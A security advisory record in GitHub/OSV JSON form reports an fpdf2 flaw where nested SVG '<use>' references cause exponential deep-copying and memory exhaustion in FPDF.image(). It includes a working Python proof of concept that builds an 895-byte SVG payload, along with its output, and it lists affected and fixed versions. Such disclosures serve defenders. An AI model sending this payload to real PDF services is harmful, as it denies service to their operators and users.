{"id":"GHSA-wqw6-wpr3-45rh","aliases":["CVE-2026-114610"],"title":"fpdf2: Exponential SVG '<use>' expansion causes CPU and memory exhaustion in 'FPDF.image()'","description":"### Summary\n\nfpdf2 expands SVG `<use>` references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during `FPDF.image()` processing.\n\nThis was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising `MemoryError`. \n\n### Details\n\nThe issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.\n\nWhen fpdf2 resolves an SVG reference, [`SVGObject.build_xref()`](https://github.com/py-pdf/fpdf2/blob/a3307f96a0d165831029b3fb644aee5a7ca03328/fpdf/svg.py#L1584) passes the referenced object to `GraphicsContext.add_item()`:\n\n```python\npdf_group.add_item(self.cross_references[ref])\n```\n\n[`GraphicsContext.add_item()`](https://github.com/py-pdf/fpdf2/blob/a3307f96a0d165831029b3fb644aee5a7ca03328/fpdf/drawing.py#L3618-L3633) uses `clone=True` by default and deep-copies the object:\n\n```python\ndef add_item(self, item, clone=True):\n    if clone:\n        item = deepcopy(item)\n    self.path_items.append(item)\n```\n\nAn attacker can define `g1` as eight references to `g0`, `g2` as eight references to `g1`, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as `8^n`.\n\n`ResourceAccessPolicy` does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit `a3307f96a0d165831029b3fb644aee5a7ca03328` with `ResourceAccessPolicy.NONE`.\n\n### PoC\n\nThis was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.\n\n```python\nimport resource\nimport time\n\nfrom fpdf import FPDF\n\n\ngroups = ['<g id=\"g0\"><rect width=\"1\" height=\"1\"/></g>']\nfor level in range(1, 6):\n    uses = f'<use href=\"#g{level - 1}\"/>' * 8\n    groups.append(f'<g id=\"g{level}\">{uses}</g>')\n\nsvg = (\n    '<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"1\" height=\"1\">'\n    '<defs>' + \"\".join(groups) + '</defs><use href=\"#g5\"/></svg>'\n).encode()\n\npdf = FPDF()\npdf.add_page()\n\nlimit = 128 * 1024 * 1024\nresource.setrlimit(resource.RLIMIT_AS, (limit, limit))\n\nprint(f\"payload size: {len(svg)} bytes\")\nstarted = time.perf_counter()\n\ntry:\n    pdf.image(svg, w=10)\nexcept MemoryError:\n    elapsed = time.perf_counter() - started\n    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss\n    print(f\"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB\")\n```\n\n```text\npayload size: 895 bytes\nMemoryError after 14.336s, max RSS: 115596 KiB\n```\n\nExecution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.\n\n### Impact\n\nThis is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to `FPDF.image()`. A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with `MemoryError`. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.\n\nThe payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.","severity":"medium","score":6.5,"published":"2026-10-27T14:43:19.000Z","modified":"2026-10-27T15:00:04.509Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"PyPI","name":"fpdf2","ranges":[{"events":[{"introduced":"2.5.0"},{"fixed":"2.8.8"}],"type":"ECOSYSTEM"}],"versions":["2.5.0","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.5.6","2.5.7","2.6.0","2.6.1","2.7.0","2.7.1","2.7.2","2.7.3","2.7.4","2.7.5","2.7.6","2.7.7","2.7.8","2.7.9","2.8.1","2.8.2","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7"],"fixed":["2.8.8"]}],"references":["https://github.com/py-pdf/fpdf2/security/advisories/GHSA-wqw6-wpr3-45rh","https://nvd.nist.gov/vuln/detail/CVE-2026-114610","https://github.com/py-pdf/fpdf2/pull/1889","https://github.com/py-pdf/fpdf2/commit/d7bd1061205d50da6a541dadfdb9d66beb763f2f","https://github.com/py-pdf/fpdf2","https://github.com/py-pdf/fpdf2/releases/tag/2.8.8"],"sources":[{"name":"OSV","id":"GHSA-wqw6-wpr3-45rh","modified":"2026-10-27T15:00:04.509088444Z","url":"https://osv.dev/vulnerability/GHSA-wqw6-wpr3-45rh"}],"assessments":[{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5}]}